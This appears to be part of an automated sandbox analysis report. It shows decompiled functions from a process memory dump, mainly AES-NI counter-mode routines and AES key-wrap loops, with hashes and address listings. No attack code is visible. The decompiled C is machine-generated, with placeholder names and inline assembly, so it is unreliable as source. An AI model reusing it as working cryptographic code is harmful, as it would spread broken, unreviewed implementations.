                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d8be7b617f2facdfc0dc26b28dd9f6287c73e262d1495a7672bb6abb82791e65
                                                                • Instruction ID: 252fb2d8095a5e30af573c04d1a05ea536cb5113e4c65e330a9d96542ccb8c32
                                                                • Opcode Fuzzy Hash: d8be7b617f2facdfc0dc26b28dd9f6287c73e262d1495a7672bb6abb82791e65
                                                                • Instruction Fuzzy Hash: AF415EB5900B029FC764CF2ED285512FBF5FB982107549A2E949DCBB20E734B9948B90
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 27%
                                                                			E00AB9160(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, void* _a20, void* _a24, intOrPtr _a224) {
                                                                				intOrPtr _v28;
                                                                				void* _v36;
                                                                				intOrPtr _v48;
                                                                				intOrPtr _v52;
                                                                				intOrPtr _v56;
                                                                				intOrPtr _v60;
                                                                				intOrPtr _v64;
                                                                				intOrPtr _v68;
                                                                				intOrPtr _v72;
                                                                				intOrPtr _t28;
                                                                				signed int _t31;
                                                                				void* _t33;
                                                                				signed int _t35;
                                                                				intOrPtr _t38;
                                                                				void* _t39;
                                                                				intOrPtr _t40;
                                                                				void* _t41;
                                                                				void* _t44;
                                                                				intOrPtr _t45;
                                                                				intOrPtr _t47;
                                                                				void* _t48;
                                                                				intOrPtr _t51;
                                                                				intOrPtr _t52;
                                                                
                                                                				_t47 = _a4;
                                                                				_t45 = _a8;
                                                                				_t28 = _a12;
                                                                				_t40 = _a16;
                                                                				_v28 = _t52;
                                                                				asm("movdqu xmm7, [ebx]");
                                                                				asm("movdqu xmm3, [ecx]");
                                                                				_t35 =  *(_t40 + 0xf0);
                                                                				 *(_t52 - 0x0000003c & 0xfffffff0) = 0xc0d0e0f;
                                                                				_v72 = 0x8090a0b;
                                                                				_v68 = 0x4050607;
                                                                				_v64 = 0x10203;
                                                                				_v60 = 1;
                                                                				_v56 = 0;
                                                                				_v52 = 0;
                                                                				_v48 = 0;
                                                                				asm("movdqa xmm5, [esp]");
                                                                				asm("movdqa xmm2, xmm7");
                                                                				_t51 = _t40;
                                                                				_t31 = _t35;
                                                                				asm("pshufb xmm7, xmm5");
                                                                				asm("movups xmm0, [edx]");
                                                                				asm("movups xmm1, [edx+0x10]");
                                                                				_t41 = _t40 + 0x20;
                                                                				asm("xorps xmm2, xmm0");
                                                                				do {
                                                                					asm("aesenc xmm2, xmm1");
                                                                					_t35 = _t35 - 1;
                                                                					asm("movups xmm1, [edx]");
                                                                					_t41 = _t41 + 0x10;
                                                                				} while (_t35 != 0);
                                                                				asm("aesenclast xmm2, xmm1");
                                                                				asm("movups xmm6, [esi]");
                                                                				asm("paddq xmm7, [esp+0x10]");
                                                                				_t48 = _t47 + 0x10;
                                                                				_t33 = 0x10 - (_t31 << 4);
                                                                				while(1) {
                                                                					asm("xorps xmm6, xmm2");
                                                                					asm("movdqa xmm2, xmm7");
                                                                					asm("movups [edi], xmm6");
                                                                					_t45 = _t45 + 0x10;
                                                                					asm("pshufb xmm2, xmm5");
                                                                					_t28 = _t28 - 1;
                                                                					if(_t28 == 0) {
                                                                						break;
                                                                					}
                                                                					asm("movups xmm0, [ebp]");
                                                                					_t39 = _t33;
                                                                					asm("movups xmm1, [ebp+0x10]");
                                                                					asm("xorps xmm6, xmm0");
                                                                					asm("xorps xmm2, xmm0");
                                                                					asm("xorps xmm3, xmm6");
                                                                					asm("movups xmm0, [ebp+0x20]");
                                                                					do {
                                                                						asm("aesenc xmm2, xmm1");
                                                                						asm("aesenc xmm3, xmm1");
                                                                						asm("movups xmm1, [edx+ecx]");
                                                                						_t39 = _t39 + 0x20;
                                                                						asm("aesenc xmm2, xmm0");
                                                                						asm("aesenc xmm3, xmm0");
                                                                						asm("movups xmm0, [edx+ecx-0x10]");
                                                                					} while (_t39 != 0);
                                                                					asm("movups xmm6, [esi]");
                                                                					asm("paddq xmm7, [esp+0x10]");
                                                                					asm("aesenc xmm2, xmm1");
                                                                					asm("aesenc xmm3, xmm1");
                                                                					asm("aesenclast xmm2, xmm0");
                                                                					asm("aesenclast xmm3, xmm0");
                                                                					_t48 = _t48 + 0x10;
                                                                				}
                                                                				_t38 = _a224;
                                                                				asm("movups xmm0, [edx]");
                                                                				asm("movups xmm1, [edx+0x10]");
                                                                				asm("xorps xmm6, xmm0");
                                                                				_t44 = _t51 + 0x20;
                                                                				asm("xorps xmm3, xmm6");
                                                                				do {
                                                                					asm("aesenc xmm3, xmm1");
                                                                					_t38 = _t38 - 1;
                                                                					asm("movups xmm1, [edx]");
                                                                					_t44 = _t44 + 0x10;
                                                                				} while (_t38 != 0);
                                                                				asm("aesenclast xmm3, xmm1");
                                                                				asm("movups [edi], xmm3");
                                                                				asm("pxor xmm0, xmm0");
                                                                				asm("pxor xmm1, xmm1");
                                                                				asm("pxor xmm2, xmm2");
                                                                				asm("pxor xmm3, xmm3");
                                                                				asm("pxor xmm4, xmm4");
                                                                				asm("pxor xmm5, xmm5");
                                                                				asm("pxor xmm6, xmm6");
                                                                				asm("pxor xmm7, xmm7");
                                                                				return _t28;
                                                                			}


























                                                                0x00ab9164
                                                                0x00ab9168
                                                                0x00ab916c
                                                                0x00ab9170
                                                                0x00ab9184
                                                                0x00ab9188
                                                                0x00ab918c
                                                                0x00ab9190
                                                                0x00ab9196
                                                                0x00ab919d
                                                                0x00ab91a5
                                                                0x00ab91ad
                                                                0x00ab91bc
                                                                0x00ab91c0
                                                                0x00ab91c4
                                                                0x00ab91c8
                                                                0x00ab91cc
                                                                0x00ab91d1
                                                                0x00ab91d5
                                                                0x00ab91d7
                                                                0x00ab91d9
                                                                0x00ab91de
                                                                0x00ab91e1
                                                                0x00ab91e5
                                                                0x00ab91e8
                                                                0x00ab91eb
                                                                0x00ab91eb
                                                                0x00ab91f0
                                                                0x00ab91f1
                                                                0x00ab91f4
                                                                0x00ab91f4
                                                                0x00ab91fd
                                                                0x00ab920a
                                                                0x00ab920d
                                                                0x00ab9213
                                                                0x00ab921c
                                                                0x00ab9230
                                                                0x00ab9230
                                                                0x00ab9233
                                                                0x00ab9237
                                                                0x00ab923a
                                                                0x00ab923d
                                                                0x00ab9242
                                                                0x00ab9245
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab924b
                                                                0x00ab924f
                                                                0x00ab9251
                                                                0x00ab9255
                                                                0x00ab9258
                                                                0x00ab925b
                                                                0x00ab925e
                                                                0x00ab9262
                                                                0x00ab9262
                                                                0x00ab9267
                                                                0x00ab926c
                                                                0x00ab9270
                                                                0x00ab9273
                                                                0x00ab9278
                                                                0x00ab927d
                                                                0x00ab927d
                                                                0x00ab9288
                                                                0x00ab928b
                                                                0x00ab9291
                                                                0x00ab9296
                                                                0x00ab929b
                                                                0x00ab92a0
                                                                0x00ab92a5
                                                                0x00ab92a5
                                                                0x00ab92b0
                                                                0x00ab92b8
                                                                0x00ab92bb
                                                                0x00ab92bf
                                                                0x00ab92c2
                                                                0x00ab92c5
                                                                0x00ab92c8
                                                                0x00ab92c8
                                                                0x00ab92cd
                                                                0x00ab92ce
                                                                0x00ab92d1
                                                                0x00ab92d1
                                                                0x00ab92da
                                                                0x00ab92e7
                                                                0x00ab92ea
                                                                0x00ab92ee
                                                                0x00ab92f2
                                                                0x00ab92f6
                                                                0x00ab92fa
                                                                0x00ab92fe
                                                                0x00ab9302
                                                                0x00ab9306
                                                                0x00ab930e

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d7ad43ef9492b0eabf3af094ecf28adf8b082ba3035ed07e572c91c519b4f747
                                                                • Instruction ID: ea8cb00e267b758d08e1223c9d3c8b3065e24c5dfff6857c4b4dc04db7dcd1d2
                                                                • Opcode Fuzzy Hash: d7ad43ef9492b0eabf3af094ecf28adf8b082ba3035ed07e572c91c519b4f747
                                                                • Instruction Fuzzy Hash: 89418034D0CB5A97D7029F39C4411A6F7A0BFAA248F04CB1EED9436562E731BAC89691
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 54%
                                                                			E00AC41C0(intOrPtr __ebx, intOrPtr* __ecx, intOrPtr __edx, intOrPtr __edi, void* __ebp, char _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr _a16, char _a20, signed int _a24, signed int _a25, signed int _a26, signed int _a27, intOrPtr _a28, intOrPtr _a32, signed int _a36, intOrPtr _a44, intOrPtr* _a48, intOrPtr _a52, intOrPtr _a56) {
                                                                				unsigned int _v0;
                                                                				void* __esi;
                                                                				signed int _t51;
                                                                				unsigned int _t55;
                                                                				unsigned int _t59;
                                                                				unsigned int _t70;
                                                                				intOrPtr _t71;
                                                                				char* _t77;
                                                                				intOrPtr* _t81;
                                                                				void* _t96;
                                                                				intOrPtr _t97;
                                                                				intOrPtr _t98;
                                                                				intOrPtr* _t99;
                                                                				intOrPtr _t101;
                                                                				signed int _t102;
                                                                				signed int _t104;
                                                                
                                                                				_t93 = __edi;
                                                                				_t84 = __edx;
                                                                				_t66 = __ebx;
                                                                				E00B8BB10(0x28);
                                                                				_t51 =  *0xbe5970; // 0xe6e1d076
                                                                				_a36 = _t51 ^ _t102;
                                                                				_a12 = _a48;
                                                                				_t101 = _a44;
                                                                				_t55 = _a56 - 8;
                                                                				_t98 = _a52;
                                                                				_a16 = __edx;
                                                                				_v0 = _t55;
                                                                				if((_t55 & 0x00000007) != 0) {
                                                                					L11:
                                                                					return E00B89C26(0, _t66, _a36 ^ _t102, _t84, _t93, _t98);
                                                                				} else {
                                                                					_t84 = _t55 - 0x10;
                                                                					if(_t55 - 0x10 > 0x7ffffff0) {
                                                                						goto L11;
                                                                					} else {
                                                                						_push(__ebx);
                                                                						_push(__edi);
                                                                						_a20 =  *__ecx;
                                                                						_t70 = (_t55 >> 3) + (_t55 >> 3) * 2 + (_t55 >> 3) + (_t55 >> 3) * 2;
                                                                						_a24 =  *((intOrPtr*)(__ecx + 4));
                                                                						E00B8BBC0(_t70, __edi, _t98, _t98, __ecx + 8, _t55);
                                                                						_t59 = _v0;
                                                                						_t104 = _t102 + 0xc;
                                                                						_a8 = _t59 + _t98 - 8;
                                                                						_a4 = 6;
                                                                						do {
                                                                							_t99 = _a8;
                                                                							if(_t59 > 0) {
                                                                								_t96 = (_t59 - 1 >> 3) + 1;
                                                                								do {
                                                                									_a27 = _a27 ^ _t70;
                                                                									if(_t70 > 0xff) {
                                                                										_a26 = _a26 ^ _t70 >> 0x00000008;
                                                                										_a25 = _a25 ^ _t70 >> 0x00000010;
                                                                										_a24 = _a24 ^ _t70 >> 0x00000018;
                                                                									}
                                                                									_t77 =  &_a20;
                                                                									_a28 =  *_t99;
                                                                									_a32 =  *((intOrPtr*)(_t99 + 4));
                                                                									_a16(_t77, _t77, _t101);
                                                                									 *_t99 = _a28;
                                                                									 *((intOrPtr*)(_t99 + 4)) = _a32;
                                                                									_t104 = _t104 + 0xc;
                                                                									_t70 = _t70 - 1;
                                                                									_t99 = _t99 - 8;
                                                                									_t96 = _t96 - 1;
                                                                								} while (_t96 != 0);
                                                                								_t59 = _v0;
                                                                							}
                                                                							_t41 =  &_a4;
                                                                							 *_t41 = _a4 - 1;
                                                                						} while ( *_t41 != 0);
                                                                						_t81 = _a12;
                                                                						_pop(_t97);
                                                                						_pop(_t71);
                                                                						 *_t81 = _a20;
                                                                						 *((intOrPtr*)(_t81 + 4)) = _a24;
                                                                						return E00B89C26(_t59, _t71, _a36 ^ _t104, _a24, _t97, _t99);
                                                                					}
                                                                				}
                                                                			}



















                                                                0x00ac41c0
                                                                0x00ac41c0
                                                                0x00ac41c0
                                                                0x00ac41c5
                                                                0x00ac41ca
                                                                0x00ac41d1
                                                                0x00ac41d9
                                                                0x00ac41e2
                                                                0x00ac41e6
                                                                0x00ac41ea
                                                                0x00ac41ee
                                                                0x00ac41f2
                                                                0x00ac41f8
                                                                0x00ac42e9
                                                                0x00ac42fb
                                                                0x00ac41fe
                                                                0x00ac41fe
                                                                0x00ac4207
                                                                0x00000000
                                                                0x00ac420d
                                                                0x00ac420f
                                                                0x00ac4210
                                                                0x00ac4211
                                                                0x00ac4226
                                                                0x00ac4228
                                                                0x00ac422c
                                                                0x00ac4231
                                                                0x00ac4239
                                                                0x00ac423c
                                                                0x00ac4240
                                                                0x00ac4248
                                                                0x00ac4248
                                                                0x00ac424e
                                                                0x00ac4256
                                                                0x00ac4260
                                                                0x00ac4260
                                                                0x00ac426a
                                                                0x00ac4273
                                                                0x00ac427a
                                                                0x00ac4283
                                                                0x00ac4283
                                                                0x00ac428c
                                                                0x00ac4291
                                                                0x00ac4299
                                                                0x00ac429d
                                                                0x00ac42a9
                                                                0x00ac42ab
                                                                0x00ac42ae
                                                                0x00ac42b1
                                                                0x00ac42b2
                                                                0x00ac42b5
                                                                0x00ac42b5
                                                                0x00ac42ba
                                                                0x00ac42ba
                                                                0x00ac42be
                                                                0x00ac42be
                                                                0x00ac42be
                                                                0x00ac42c9
                                                                0x00ac42cd
                                                                0x00ac42ce
                                                                0x00ac42cf
                                                                0x00ac42d6
                                                                0x00ac42e8
                                                                0x00ac42e8
                                                                0x00ac4207

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 74dec63a157376b551d68463f090fbf2729b89cd2407dd8821da0a642c4f73e8
                                                                • Instruction ID: 41303be8508a3cb0d8aae7a2d06f60e9a4b2eeb34db853709d24c8f2ce1b101d
                                                                • Opcode Fuzzy Hash: 74dec63a157376b551d68463f090fbf2729b89cd2407dd8821da0a642c4f73e8
                                                                • Instruction Fuzzy Hash: F5314A75A093019FC304DF69C99196BFBE4EFC8314F908A6EF49997311D630E909CB86
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 54%
                                                                			E00AC4080(intOrPtr __ebx, intOrPtr __esi, void* __ebp, intOrPtr _a4, intOrPtr* _a8, char _a12, signed int _a16, signed int _a17, signed int _a18, signed int _a19, intOrPtr _a20, intOrPtr _a24, signed int _a28, intOrPtr _a36, intOrPtr* _a40, intOrPtr* _a44, intOrPtr _a48, signed char _a52, intOrPtr _a56) {
                                                                				char _v0;
                                                                				void* __edi;
                                                                				signed int _t48;
                                                                				signed char _t51;
                                                                				intOrPtr* _t55;
                                                                				signed char _t56;
                                                                				unsigned int _t65;
                                                                				intOrPtr _t66;
                                                                				intOrPtr _t67;
                                                                				char* _t81;
                                                                				intOrPtr* _t86;
                                                                				void* _t89;
                                                                				intOrPtr* _t91;
                                                                				intOrPtr _t92;
                                                                				intOrPtr _t94;
                                                                				signed int _t95;
                                                                				signed int _t97;
                                                                
                                                                				_t90 = __esi;
                                                                				_t64 = __ebx;
                                                                				E00B8BB10(0x20);
                                                                				_t48 =  *0xbe5970; // 0xe6e1d076
                                                                				_a28 = _t48 ^ _t95;
                                                                				_t67 = _a48;
                                                                				_t94 = _a36;
                                                                				_a4 = _a56;
                                                                				_t51 = _a52;
                                                                				_t86 = _a44;
                                                                				_a8 = _t86;
                                                                				if((_t51 & 0x00000007) != 0) {
                                                                					L13:
                                                                					return E00B89C26(0, _t64, _a28 ^ _t95, _t78, _t86, _t90);
                                                                				} else {
                                                                					_t78 = _t51 - 0x10;
                                                                					if(_t51 - 0x10 > 0x7ffffff0) {
                                                                						goto L13;
                                                                					} else {
                                                                						_push(__ebx);
                                                                						_push(__esi);
                                                                						_t65 = 1;
                                                                						E00B8BBC0(1, _t86, __esi, _t86 + 8, _t67, _t51);
                                                                						_t55 = _a40;
                                                                						_t97 = _t95 + 0xc;
                                                                						if(_t55 == 0) {
                                                                							_t55 = 0xba1934;
                                                                						}
                                                                						_t14 = _t55 + 4; // 0xa6a6a6a6
                                                                						_a12 =  *_t55;
                                                                						_a16 =  *_t14;
                                                                						_v0 = 6;
                                                                						do {
                                                                							_t56 = _a52;
                                                                							_t91 = _t86 + 8;
                                                                							if(_t56 > 0) {
                                                                								_t89 = (_t56 - 1 >> 3) + 1;
                                                                								do {
                                                                									_t81 =  &_a12;
                                                                									_a20 =  *_t91;
                                                                									_a24 =  *((intOrPtr*)(_t91 + 4));
                                                                									_a4(_t81, _t81, _t94);
                                                                									_a19 = _a19 ^ _t65;
                                                                									_t97 = _t97 + 0xc;
                                                                									if(_t65 > 0xff) {
                                                                										_a18 = _a18 ^ _t65 >> 0x00000008;
                                                                										_a17 = _a17 ^ _t65 >> 0x00000010;
                                                                										_a16 = _a16 ^ _t65 >> 0x00000018;
                                                                									}
                                                                									 *_t91 = _a20;
                                                                									 *((intOrPtr*)(_t91 + 4)) = _a24;
                                                                									_t65 = _t65 + 1;
                                                                									_t91 = _t91 + 8;
                                                                									_t89 = _t89 - 1;
                                                                								} while (_t89 != 0);
                                                                								_t56 = _a52;
                                                                								_t86 = _a8;
                                                                							}
                                                                							_t39 =  &_v0;
                                                                							 *_t39 = _v0 - 1;
                                                                						} while ( *_t39 != 0);
                                                                						_pop(_t92);
                                                                						_pop(_t66);
                                                                						 *_t86 = _a12;
                                                                						 *((intOrPtr*)(_t86 + 4)) = _a16;
                                                                						return E00B89C26(_t56 + 8, _t66, _a28 ^ _t97, _a16, _t86, _t92);
                                                                					}
                                                                				}
                                                                			}




















                                                                0x00ac4080
                                                                0x00ac4080
                                                                0x00ac4085
                                                                0x00ac408a
                                                                0x00ac4091
                                                                0x00ac4099
                                                                0x00ac409e
                                                                0x00ac40a2
                                                                0x00ac40a6
                                                                0x00ac40ab
                                                                0x00ac40af
                                                                0x00ac40b5
                                                                0x00ac419f
                                                                0x00ac41b1
                                                                0x00ac40bb
                                                                0x00ac40bb
                                                                0x00ac40c4
                                                                0x00000000
                                                                0x00ac40ca
                                                                0x00ac40ca
                                                                0x00ac40cb
                                                                0x00ac40d2
                                                                0x00ac40d7
                                                                0x00ac40dc
                                                                0x00ac40e0
                                                                0x00ac40e5
                                                                0x00ac40e7
                                                                0x00ac40e7
                                                                0x00ac40ee
                                                                0x00ac40f1
                                                                0x00ac40f5
                                                                0x00ac40f9
                                                                0x00ac4101
                                                                0x00ac4101
                                                                0x00ac4105
                                                                0x00ac410a
                                                                0x00ac4112
                                                                0x00ac4113
                                                                0x00ac4118
                                                                0x00ac411d
                                                                0x00ac4125
                                                                0x00ac4129
                                                                0x00ac412d
                                                                0x00ac4131
                                                                0x00ac413a
                                                                0x00ac4143
                                                                0x00ac414a
                                                                0x00ac4153
                                                                0x00ac4153
                                                                0x00ac415f
                                                                0x00ac4161
                                                                0x00ac4164
                                                                0x00ac4165
                                                                0x00ac4168
                                                                0x00ac4168
                                                                0x00ac416d
                                                                0x00ac4171
                                                                0x00ac4171
                                                                0x00ac4175
                                                                0x00ac4175
                                                                0x00ac4175
                                                                0x00ac4184
                                                                0x00ac4185
                                                                0x00ac4186
                                                                0x00ac4188
                                                                0x00ac419e
                                                                0x00ac419e
                                                                0x00ac40c4

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 81f168212a6e8c263e40068f0c8feac4271fd6ba5746aa46a152cdde3d58d19f
                                                                • Instruction ID: b4c9b9b4459190597df494c883f3ebf495c3cbc1c180d9ca1c8eada6fe9f000a
                                                                • Opcode Fuzzy Hash: 81f168212a6e8c263e40068f0c8feac4271fd6ba5746aa46a152cdde3d58d19f
                                                                • Instruction Fuzzy Hash: FF311F716083419BC304DF29C890A6AFBE5EFC8318F848A2DF89997251D731E949CB96
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 61%
                                                                			E00ABE1E0(void* __ebp, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24, signed int _a28, signed int _a32, intOrPtr* _a40, intOrPtr _a44, intOrPtr _a48) {
                                                                				signed int _v0;
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t45;
                                                                				signed int _t48;
                                                                				signed int _t54;
                                                                				intOrPtr _t59;
                                                                				signed int _t61;
                                                                				intOrPtr _t69;
                                                                				signed int _t75;
                                                                				signed int _t85;
                                                                				intOrPtr* _t86;
                                                                				signed int _t90;
                                                                				signed int _t91;
                                                                
                                                                				E00B8BB10(0x24);
                                                                				_t45 =  *0xbe5970; // 0xe6e1d076
                                                                				_a32 = _t45 ^ _t90;
                                                                				_t59 = _a44;
                                                                				_t86 = _a40;
                                                                				_t48 =  *(_t86 + 0x98) ^  *(_t86 + 0x88);
                                                                				_t61 =  *(_t86 + 0x9c) ^  *(_t86 + 0x8c);
                                                                				_t75 =  *(_t86 + 0xa0) ^  *(_t86 + 0x90);
                                                                				_v0 = _t48;
                                                                				_t85 =  *(_t86 + 0xa4) ^  *(_t86 + 0x94);
                                                                				_a4 = _t61;
                                                                				_a8 = _t75;
                                                                				_a20 =  *(_t86 + 0x34) ^ _t61;
                                                                				_a24 =  *(_t86 + 0x38) ^ _t75;
                                                                				_a28 =  *(_t86 + 0x3c) ^ _t85;
                                                                				_a12 = _t85;
                                                                				_a16 =  *(_t86 + 0x30) ^ _t48;
                                                                				 *((intOrPtr*)( *_t86))( &_a16,  &_v0,  *((intOrPtr*)(_t86 + 8)));
                                                                				_t31 = _t86 + 0x58; // 0x250
                                                                				_t54 = _t31;
                                                                				 *_t54 =  *(_t86 + 0x78) ^ _v0;
                                                                				 *(_t54 + 4) =  *(_t86 + 0x7c) ^ _a4;
                                                                				 *(_t86 + 0x60) =  *(_t86 + 0x80) ^ _a8;
                                                                				_t69 = _a48;
                                                                				 *(_t86 + 0x64) =  *(_t86 + 0x84) ^ _a12;
                                                                				_t83 = _t69 - 1;
                                                                				_t91 = _t90 + 0xc;
                                                                				if(_t69 - 1 > 0xf || _t59 == 0) {
                                                                					return E00B89C26(_t54 | 0xffffffff, _t59, _a32 ^ _t91, _t83, _t85, _t86);
                                                                				} else {
                                                                					return E00B89C26(E00AC3A50(_t54, _t59, _t69), _t59, _a32 ^ _t91 + 0x0000000c, _t83, _t85, _t86);
                                                                				}
                                                                			}


















                                                                0x00abe1e5
                                                                0x00abe1ea
                                                                0x00abe1f1
                                                                0x00abe1f6
                                                                0x00abe1fc
                                                                0x00abe206
                                                                0x00abe212
                                                                0x00abe221
                                                                0x00abe229
                                                                0x00abe239
                                                                0x00abe23f
                                                                0x00abe248
                                                                0x00abe24f
                                                                0x00abe25b
                                                                0x00abe263
                                                                0x00abe26d
                                                                0x00abe271
                                                                0x00abe275
                                                                0x00abe285
                                                                0x00abe285
                                                                0x00abe288
                                                                0x00abe294
                                                                0x00abe2a1
                                                                0x00abe2a4
                                                                0x00abe2a8
                                                                0x00abe2ab
                                                                0x00abe2ae
                                                                0x00abe2b4
                                                                0x00abe2ed
                                                                0x00abe2ba
                                                                0x00abe2d7
                                                                0x00abe2d7

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a05d6df4e2809ed92af936f727176c6b377060a420d0caa6baecfe70d2327fba
                                                                • Instruction ID: 12c671a1790d882d1e9b37e6010c34118dfd054fd5488edc00f41f4da42ebb25
                                                                • Opcode Fuzzy Hash: a05d6df4e2809ed92af936f727176c6b377060a420d0caa6baecfe70d2327fba
                                                                • Instruction Fuzzy Hash: 913116B56047008FD318CF2AC581AABF7E5FFCC314F858A2EE59A87651D630B904CB52
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 21%
                                                                			E00AB9030(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, void* _a20, void* _a24) {
                                                                				intOrPtr _v28;
                                                                				void* _v36;
                                                                				intOrPtr _v48;
                                                                				intOrPtr _v52;
                                                                				intOrPtr _v56;
                                                                				intOrPtr _v60;
                                                                				intOrPtr _v64;
                                                                				intOrPtr _v68;
                                                                				intOrPtr _v72;
                                                                				intOrPtr _t22;
                                                                				void* _t26;
                                                                				void* _t30;
                                                                				intOrPtr _t33;
                                                                				intOrPtr _t35;
                                                                				intOrPtr _t39;
                                                                
                                                                				_t35 = _a4;
                                                                				_t33 = _a8;
                                                                				_t22 = _a12;
                                                                				_v28 = _t39;
                                                                				asm("movdqu xmm7, [ebx]");
                                                                				asm("movdqu xmm3, [ecx]");
                                                                				 *(_t39 - 0x0000003c & 0xfffffff0) = 0xc0d0e0f;
                                                                				_v72 = 0x8090a0b;
                                                                				_v68 = 0x4050607;
                                                                				_v64 = 0x10203;
                                                                				_v60 = 1;
                                                                				_v56 = 0;
                                                                				_v52 = 0;
                                                                				_v48 = 0;
                                                                				asm("movdqa xmm5, [esp]");
                                                                				asm("movdqa xmm2, xmm7");
                                                                				_t26 = 0x10 - ( *(_a16 + 0xf0) << 4);
                                                                				asm("pshufb xmm7, xmm5");
                                                                				do {
                                                                					asm("movups xmm0, [ebp]");
                                                                					_t30 = _t26;
                                                                					asm("movups xmm6, [esi]");
